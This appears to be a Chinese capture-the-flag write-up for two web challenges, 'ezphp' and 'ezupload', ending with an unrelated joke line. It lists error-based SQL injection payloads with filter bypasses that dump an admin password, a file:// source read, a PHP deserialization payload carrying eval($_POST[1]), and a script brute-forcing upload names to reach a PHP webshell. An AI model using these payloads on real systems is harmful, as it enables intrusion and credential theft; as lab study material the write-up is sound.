目录
web
ezphp
用户名处存在sql注入
看源码发现是post参数user和pass
fuzz一下
过滤了union,select,空格,=
;没过滤尝试堆叠注入无果,updatexml没过滤,报错注入
数据库
user=1'/**/and/**/updatexml(1,concat(0x7e,database()),0)#&pass=1 //ctf_db
表
user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database())),0x7e)#&pass=1 //admin
字段
user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database())),0x7e)#&pass=1 // Username,Password
数据
user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(Username)from/**/admin)),0x7e)#&pass=1 //admin
user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(Password)from/**/admin)),0x7e)#&pass=1 // 0909876qwe222
登录
post:url=1试试
url=file:///var/www/html/x9sd.php
读取x9sd.php
美化一下反序列源码
<?php
class text {
protected $cmd;
function __construct($tmp)
{
$this->cmd = $tmp;
}
}
if(isset($_GET['username']) && isset($_GET['unserx'])){
$var = base64_decode($_GET['unserx']);
if($_GET['username'] === "admin"){
echo "nonono?";
}
$username = urldecode($_GET['username']);
if($username === "admin"){
unserialize($var);
}
unserialize($var);
echo("success");
}else{
echo "I need some ???";
}
?>
该源码反序列化$var
构造payload
url编码admin赋值给username
payload
/x9sd.php?username=%2561%2564%256d%2569%2561&unserx=TzoxOiJhIjoxOntzOjY6IgAqAGNtZCI7czoxNjoiZXZhbCgkX1BPU1RbMV0pOyI7fQ==
ezupload
可以上传php文件,但是要爆破文件名,文件名和时间戳有关
import requests
url = ''
for i in range(100000000, 200000000):
re = url + str(i) + ".php"
r = requests.post(re)
if r.status_code == 404:
a = 0
else:
print(re)
复制题目源码在本地搭一个环境,在本地和远程上传php木马(尽量快)
跑出来文件名就可以连antsward了
舔狗日记
宝,我给你发消息,你没回,你一定是把我当空气吧,真好,你离开了空气怎么能活呢,你一定是离不开我,嗯哼,我更爱你了宝